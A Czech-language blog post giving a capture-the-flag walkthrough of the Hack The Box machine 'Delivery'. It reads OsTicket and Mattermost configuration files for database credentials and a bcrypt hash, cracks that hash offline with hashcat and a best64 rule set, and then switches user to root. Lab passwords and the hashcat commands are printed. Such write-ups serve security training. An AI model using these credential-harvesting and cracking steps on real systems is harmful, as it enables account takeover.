tom@home.htb:~$

Blog o HTB

20 November 2020

Delivery

Úvod a kontext

Delivery je v téhle podobě nejzajímavější hlavně druhou půlkou řetězce. Jakmile je k dispozici nízko privilegovaný přístup maildeliverer:Youve_G0t_Mail!, systém začne dávat smysl teprve při čtení lokálních konfigurací OsTicketu a Mattermostu.

Root tady nevzniká přes kernelový exploit ani sudo misconfiguraci. Rozhodující je, že z konfigurace Mattermostu vypadne silná nápověda Crack_The_MM_Admin_PW, vedle ní leží bcrypt hash Mattermost admin účtu root a v prostředí už je známý seed PleaseSubscribe!. Z toho se stane čistě offline útok na heslo a následné su root.

Počáteční průzkum

První užitečné stopy

V dalším popisu už vycházím z toho, že jsou k dispozici dva konkrétní artefakty: SSH přístup maildeliverer:Youve_G0t_Mail! a řetězec PleaseSubscribe!, který se později ukáže jako důležitý seed pro cracking.

maildeliverer:Youve_G0t_Mail!
PleaseSubscribe!

Analýza zjištění

Lokální konfigurace OsTicketu a Mattermostu

Po přihlášení pod maildeliverer dává smysl číst hlavně lokální konfigurace. /etc/passwd potvrdí, že vedle maildeliverer běží i uživatel mattermost, OsTicket konfigurace vydá heslo ost_user a Mattermost config rovnou prozradí MySQL připojení i text Crack_The_MM_Admin_PW. Současně se objeví bcrypt hash Mattermost admin účtu root.

maildeliverer:x:1000:1000:MailDeliverer,,,:/home/maildeliverer:/bin/bash
mattermost:x:998:998::/home/mattermost:/bin/sh
root:x:0:0:root:/root:/bin/bash

define('DBTYPE','mysql');
define('DBHOST','localhost');
define('DBNAME','osticket');
define('DBUSER','ost_user');
define('DBPASS','!H3lpD3sk123!');

        "DataSource": "mmuser:Crack_The_MM_Admin_PW@tcp(127.0.0.1:3306)/mattermost?charset=utf8mb4,utf8\u0026readTimeout=30s\u0026writeTimeout=30s",
        "AtRestEncryptKey": "n5uax3d4f919obtsp1pw1k5xetq1enez",

=> | root                             | $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO |

Pravidlový cracking hashe root

Tady má offline cracking jasný smysl. Útočník už neháda náhodné heslo, ale kombinuje konkrétní seed PleaseSubscribe! s nápovědou Crack_The_MM_Admin_PW. Z best64.rule tak vznikne malý, ale velmi relevantní slovník a hash padne na PleaseSubscribe!21.

cat rule
cat hash
hashcat -r /usr/share/hashcat/rules/best64.rule --stdout rule > wordlist.txt
hashcat -m 3200 -a 0 hash wordlist.txt --force
hashcat -m 3200 -a 0 hash wordlist.txt --show
PleaseSubscribe!
=> PleaseSubscribe!21

Získání přístupu

SSH jako maildeliverer

V téhle části článku už je prvním stabilním footholdem SSH účet maildeliverer. Hodnota SSH tu nespočívá v samotném loginu, ale v tom, že dovolí pohodlně číst lokální konfigurace a pracovat s hashem offline mimo cílový host.

ssh maildeliverer@$IP

Získání user flagu

user.txt potvrzuje, že nižší účet už dovoluje plnohodnotný lokální průzkum hostu a přístup ke konfiguračním souborům, které rozhodnou o další části útoku.

cat user.txt
__CENSORED__

Eskalace oprávnění

Získání root flagu

Jakmile je hash cracknutý, nejde už o další exploitační techniku, ale o prosté ověření reuse hesla na lokální root účet. To je důležitý rozdíl: slabinou zde není su, ale kvalita a předvídatelnost hesla v prostředí, kde už útočník zná tematický seed.

su root
cat root.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: rce - ssh - exploit - enumeration - privesc - hackthebox